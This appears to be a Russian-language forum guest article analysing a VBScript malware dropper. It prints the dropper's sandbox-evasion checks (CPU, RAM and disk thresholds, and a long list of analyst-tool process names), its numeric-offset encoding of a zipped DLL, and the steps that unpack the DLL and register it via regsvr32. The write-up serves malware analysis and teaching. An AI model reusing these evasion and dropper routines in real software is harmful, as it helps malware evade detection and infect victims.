• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

Гостевая статья Приемы с обнаружением песочницы

Я нашел интересный образец VBScript, который является идеальным учебным пособием для тренировок или обучения. Он реализует неплохую технику обфускации, как и многие классические механизмы обнаружения песочницы. Сценарий является дроппером: он извлекает из своего кода DLL, которая будет загружена, если сценарий выполняется вне песочницы. Текущий счет VT составляет 25/57 ( )

Давайте сначала посмотрим на приемы обнаружения песочницы. Связка функций вызывается одна за другой. Сначала проверяется количество процессоров (ядер):

(Примечание: код был обфусцирован и приукрашен)

Visual Basic:
Function CheckAvailableCPUs()
  TnHWRZVH=Cint("0")
  Set VRfvQEHCs=GetObject("winmgmts:\\.\root\cimv2")
  Set uxSpQuH=VRfvQEHCs.ExecQuery("Select * from Win32_Processor", , Cint("48"))
  For Each XqDiZDh In uxSpQuH
    If XqDiZDh.NumberOfCores < Cint("2") Then
      TnHWRZVH=True
    End If
  Next
  If TnHWRZVH Then
    WaitSeconds
  Else
  End If
End Function

Наличие только одного ядра в 2020 году действительно подозрительно. Даже компьютеры начального уровня имеют как минимум двухъядерный процессор.

Затем доступная память и дисковое хранилище проверяются аналогичным образом с использованием WMI:

Visual Basic:
Function CheckAvailableMemory()
  Set VRfvQEHCs=GetObject("winmgmts:\\.\oot\cimv2")
  Set uxSpQuH=VRfvQEHCs.ExecQuery("Select * from Win32_ComputerSystem")
  For Each XqDiZDh In uxSpQuH
    zhlOwdMZ=zhlOwdMZ+Int((XqDiZDh.TotalPhysicalMemory) / CLng("1048576"))+Cint("1")
  Next
  If zhlOwdMZ < Cint("1024") Then
    WaitSeconds
    WaitSeconds
  End If
End Function

1ГБ действительно не актуально сегодня! И доступное дисковое хранилище:

Visual Basic:
Function CheckAvailableStorage()
  Set VRfvQEHCs=GetObject("winmgmts:\\.\root\cimv2")
  Set uxSpQuH=VRfvQEHCs.ExecQuery("Select * from Win32_LogicalDisk")
  For Each XqDiZDh In uxSpQuH
    zhlOwdMZ=zhlOwdMZ+Int(XqDiZDh.Size / Clng("1073741824"))
  Next
  If zhlOwdMZ < Cint("60") Then
    WaitSeconds
End If
End Function

60 ГБ - минимум для продолжения сценария.

Затем он также пытается обнаружить подозрительно запущенные процессы. Список довольно интересен и содержит большинство инструментов, используемых реверсерами, аналитиками безопасности или в песочницах:

Visual Basic:
Function SearchProcesses()
  FtfIrLKSv=Array("cis.exe","cmdvirth.exe","alive.exe","filewatcherservice.exe","ngvmsvc.exe","sandboxierpcss.exe","analyzer.exe", \
                  "fortitracer.exe","nsverctl.exe","sbiectrl.exe","angar2.exe","goatcasper.exe","ollydbg.exe","sbiesvc.exe", \
                  "apimonitor.exe", "GoatClientApp.exe","peid.exe","scanhost.exe","apispy.exe","hiew32.exe","perl.exe","scktool.exe", \
                  "apispy32.exe","hookanaapp.exe","petools.exe","sdclt.exe","asura.exe","hookexplorer.exe","pexplorer.exe", \
                  "sftdcc.exe","autorepgui.exe","httplog.exe","ping.exe","shutdownmon.exe","autoruns.exe","icesword.exe","pr0c3xp.exe", \
                  "sniffhit.exe","autorunsc.exe","iclicker-release.exe",".exe","prince.exe","snoop.exe","autoscreenshotter.exe","idag.exe", \
                  "procanalyzer.exe", "spkrmon.exe","avctestsuite.exe","idag64.exe","processhacker.exe","sysanalyzer.exe","avz.exe", \
                  "idaq.exe","processmemdump.exe","syser.exe","behaviordumper.exe","immunitydebugger.exe","procexp.exe","systemexplorer.exe", \
                  "bindiff.exe","importrec.exe","procexp64.exe","systemexplorerservice.exe","BTPTrayIcon.exe","imul.exe","procmon.exe", \
                  "sython.exe", "capturebat.exe","Infoclient.exe","procmon64.exe","taskmgr.exe","cdb.exe","installrite.exe","python.exe", \
                  "taslogin.exe","cffexplorer.exe","ipfs.exe","pythonw.exe","tcpdump.exe","clicksharelauncher.exe","iprosetmonitor.exe","qq.exe", \
                  "tcpview.exe","closepopup.exe","iragent.exe","qqffo.exe","timeout.exe","commview.exe","iris.exe","qqprotect.exe", \
                  "totalcmd.exe","cports.exe","joeboxcontrol.exe","qqsg.exe","trojdie.kvpcrossfire.exe","joeboxserver.exe", \
                  "raptorclient.exe","txplatform.exe","dnf.exe"," lamer.exe","regmon.exe","virus.exe","dsniff.exe","LogHTTP.exe","regshot.exe", \
                  "vx.exe","dumpcap.exe", "lordpe.exe","RepMgr64.exe","winalysis.exe","emul.exe","malmon.exe","RepUtils32.exe","winapioverride32.exe", \
                  "ethereal.exe","mbarun.exe","RepUx.exe","windbg.exe","ettercap.exe","mdpmon.exe","runsample.exe","windump.exe", \
                  "fakehttpserver.exe","mmr.exe","samp1e.exe","winspy.exe","fakeserver.exe","mmr.exe","sample.exe","wireshark.exe", \
                  "Fiddler.exe","multipot.exe","sandboxiecrypto.exe","XXX.exe","filemon.exe","netsniffer.exe","sandboxiedcomlaunch.exe")
  Set VRfvQEHCs=GetObject("winmgmts:\\.\root\cimv2")
  Set uxSpQuH=VRfvQEHCs.ExecQuery("Select * from Win32_Process")
  For Each XqDiZDh In uxSpQuH
    For Each CMUDEKiI In FtfIrLKSv
      If XqDiZDh.Name=CMUDEKiI Then
        WaitSeconds
      End If
    Next
  Next
End Function

Обратите внимание, что некоторые из них не являются инструментами безопасности (например, totalcmd.exe), но могут отражать систему, используемую супер-пользователем или системным администратором.

Во всех вышеперечисленных функциях вы можете видеть вызовы другой функции «WaitSeconds». Это просто останавливает сценарий. Я предполагаю, что цель состоит в том, чтобы замедлить выполнение, чтобы попытаться достичь времени ожидания песочницы. Это означает, что выполнение скрипта будет автоматически приостановлено (без подозрительного «выхода»).

Теперь давайте взглянем на кодировку, используемую для сокрытия вредоносного DLL-файла. Основная функция, используемая для этой цели, выглядит следующим образом:

Visual Basic:
Function DumpPEFile()
  Dim HEcNUGQa
  Dim zMObzBWv
  Set HEcNUGQa=CreateObject("ADODB.Stream")
  HEcNUGQa.Type=Cint("2")
  HEcNUGQa.Open()
  HEcNUGQa.WriteText pPIMlTd(KKIpXPPlJ)
  HEcNUGQa.WriteText pPIMlTd(ZiDMLJu)
  HEcNUGQa.WriteText pPIMlTd(DxhGnunhiY)
  HEcNUGQa.WriteText pPIMlTd(fBkPqDgf)
  HEcNUGQa.WriteText pPIMlTd(aPRPvahmZ)
  ...
  (hundreds of line of the same type)
  ...
  HEcNUGQa.WriteText pPIMlTd(ALyuadAJty)
  HEcNUGQa.WriteText pPIMlTd(oCVjsNkH)
  HEcNUGQa.WriteText pPIMlTd(GxLbWFw)
  HEcNUGQa.WriteText pPIMlTd(Xqfxdkb)
  HEcNUGQa.WriteText pPIMlTd(sBNoqL)
  HEcNUGQa.Position=Cint("0")
  Set zMObzBWv=CreateObject("ADODB.Stream")
  zMObzBWv.Type=Cint("2")
  zMObzBWv.Charset="ISO-8859-1"
  zMObzBWv.Open()
  HEcNUGQa.CopyTo(zMObzBWv)
  zMObzBWv.SaveToFile TemporaryFolder+"wVo.txt", Cint("2")
  HEcNUGQa.Close()
  zMObzBWv.Close()
End Function

По сути, результат функции pPIMITd () добавляется для создания большого буфера, который выгружается в файл. Функция pPIMITd () выглядит следующим образом:

Visual Basic:
Function pPIMlTd(fQPAqBU)
  bBzIKdZbm=0
  vJSObFl=""
  Do While bBzIKdZbm =< UBound(fQPAqBU)
    vJSObFl=vJSObFl+ChrW(fQPAqBU(bBzIKdZbm)-342152323)
    bBzIKdZbm=bBzIKdZbm+1
  Loop
  pPIMlTd=vJSObFl
End Function

Параметр, ожидаемый этой функцией, является массивом. Давайте проверим первое появление pPIMITd и массива «KKIpXPPlJ». Это выглядит как:

Visual Basic:
KKIpXPPlJ=Array(ktFxTLfnyfS,hBEIwAlMwVmyZp,elpiUMhGM,nYHPZHPbULMzMks,kvlmawULEvI,
                yKPFeFcWsKKS,yKPFeFcWsKKS,yKPFeFcWsKKS,uKPFeFcWsKKS,yKPFeFcWsKKS,
                ...
                uBEIwAlMwVmyZp,fvlmawULEvI,tvlmawULEvI)

В этом массиве каждая переменная определяется как константа в скрипте. Давайте снова возьмем первый элемент массива:

const ktFxTLfnyfS=342152403

В pPIMITd () элементы массива обрабатываются один за другим и добавляются в буфер через эту строку:

ChrW (fQPAqBU (bBzIKdZbm) -342152323)

где 342152323 вычитается из значения элемента массива:

342152403 - 342152323 = 80.

Результат:

ChrW (80) = ‘P ’

Второй: 342152398 - 342152323 = 75

ChrW (75) = ‘K’

И так далее ... Вы можете распознать две первые буквы ZIP-архива ('PK'). DLL действительно сжата. После сброса на диск скрипт распакует его:

Visual Basic:
Function DecompressDLL()
  Dim oUpYypRUI
  Set oUpYypRUI=CreateObject("Scripting.FileSystemObject")
  oUpYypRUI.MoveFile TemporaryFolder+"wVo.txt", TemporaryFolder+"wVo.txt.zip"
  Set DYCYgzrHa=CreateObject("Shell.Application")
  Set colItems=DYCYgzrHa.NameSpace(TemporaryFolder+"wVo.txt.zip").Items()
  DYCYgzrHa.NameSpace(TemporaryFolder).copyHere colItems, 16
  oUpYypRUI.DeleteFile TemporaryFolder+"wVo.txt.zip", True
End Function

Наконец, вредоносная DLL регистрируется:

Visual Basic:
Function RegisterDLL()
  Set VRfvQEHCs=GetObject("winmgmts:Win32_Process")
  VRfvQEHCs.Create "regsvr32.exe -s "+ TemporaryFolder+"WSr.txt",,,processid
End Function

DLL имеет оценку 38/68 ( )

Этот скрипт отлично выполняется в моей песочнице, а DLL была выгружена и загружена. Но мне нравится глубже изучать и понимать методы запутывания, создаваемые разработчиками вредоносных программ.

 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!